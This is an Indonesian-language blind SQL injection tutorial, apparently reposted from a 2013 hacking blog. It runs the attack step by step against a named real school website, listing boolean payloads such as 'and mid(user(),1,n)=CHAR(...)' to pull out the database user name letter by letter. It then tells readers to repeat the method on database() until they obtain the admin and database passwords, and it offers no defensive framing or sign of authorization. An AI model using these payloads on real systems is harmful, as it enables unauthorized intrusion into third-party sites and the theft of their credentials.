Apa yang dimaksud Blind SQL Injection?
disini GT memakai command :
mid() = hampir sama fungsinya dengan substring()
char() = adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4 kita memakai blind,karena v4 tidak support query information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw
lanjut...
Target: www.smanti.com (thx to bejamz udah ngasih target :)
PENGETESAN BUG
Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1www.smanti.com/berita.php?id=5 and 1=0 <<<falseeh ternyata ada bug nya...
www.smanti.com/berita.php?id=5 and 1=1 <<<true
lanjut....
BLIND INJECT
Query yg dipakai: and mid(user(),1,1)=CHAR(65)Saya jelaskan sedikit deh..
mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut
Sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)ternyata hasilnya masih false (beritanya hilang)
berarti value yg kita masukkan salah..
tinggal tambah value nya jadi
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih falseDanseterusnya sampe kita menemukan keadaan true (beritanya muncul kembali)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<akhirnya truecape? masih kuat? hahaha, trial dan error...
lanjut..
kita tambain value na..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..
1,1 = value pertama userdan seterusnya
1,2 = value kedua user
1,3 = value ketiga user
dan 83 adalah nilai true,lalu kita tambahkan..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)dan seterusnya sampe dapet yg true..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
ternyata yg true ngumpet di value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)lanjutin trus langkah2na..
cari value k 3 user..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)eh langsung ktemu..hehehe..
lanjut value k 4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)ternyata ktemu di value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)lanjut trus aja...
cape gw..
pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table
www.piclist.com/techref/ascii.htmstelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN nah udah hampir ketebak user name nya. kerjain ndiri y..okey
nah..gmana kalo mw dapet password na?
kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
okey sampe sini aja ah..cape ngetik..wkwkwkw
slamat mencoba wkwkwkw...
Thanks smua..duduw..wkwkw sekian...
Sumber : http://www.setandarisurga.blogspot.com/2013/01/tutorial-blind-sql-injection-versi-4.html